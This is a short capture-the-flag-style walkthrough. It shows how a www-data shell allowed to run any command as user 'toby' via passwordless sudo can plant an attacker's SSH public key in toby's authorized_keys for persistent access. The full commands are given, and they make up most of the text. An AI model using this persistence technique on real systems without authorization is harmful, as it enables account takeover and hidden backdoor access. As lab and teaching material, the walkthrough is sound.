When you run "sudo -l", if you get a response like this then you should be able to add your SSH key into that user to create persistence.
"User www-data may run the following commands on watcher: (toby) NOPASSWD: ALL"
-
Generate SSH Key Pair:
- On your local machine, generate an SSH key pair if you don't have one already:
ssh-keygen
This will create a new SSH key, using the provided email as a label.
- On your local machine, generate an SSH key pair if you don't have one already:
-
Copy Public Key:
- Copy your public SSH key. This is usually located in
~/.ssh/id_rsa.pubon your local machine. You can display it with the following command:
cat ~/.ssh/id_rsa.pub
- Copy your public SSH key. This is usually located in
-
Access the Remote Machine:
- Remote into the machine as
www-data(which you've already done).
- Remote into the machine as
-
Create SSH Directory and Authorized Keys File:
- As
www-data, usesudoto create the.sshdirectory and theauthorized_keysfile fortoby, then add your public key to it:
sudo -u toby mkdir /home/toby/.ssh sudo -u toby touch /home/toby/.ssh/authorized_keys echo "your-public-key-here" | sudo -u toby tee -a /home/toby/.ssh/authorized_keys
- As
-
Set Correct Permissions:
- It's crucial to set the correct permissions on the
.sshdirectory and theauthorized_keysfile to ensure SSH works correctly:
sudo -u toby chmod 700 /home/toby/.ssh sudo -u toby chmod 600 /home/toby/.ssh/authorized_keys
- It's crucial to set the correct permissions on the
-
SSH as Toby:
- Now you should be able to SSH into the machine as
tobyusing your private key:
ssh -i ~/.ssh/id_rsa toby@remote-machine-address
- Now you should be able to SSH into the machine as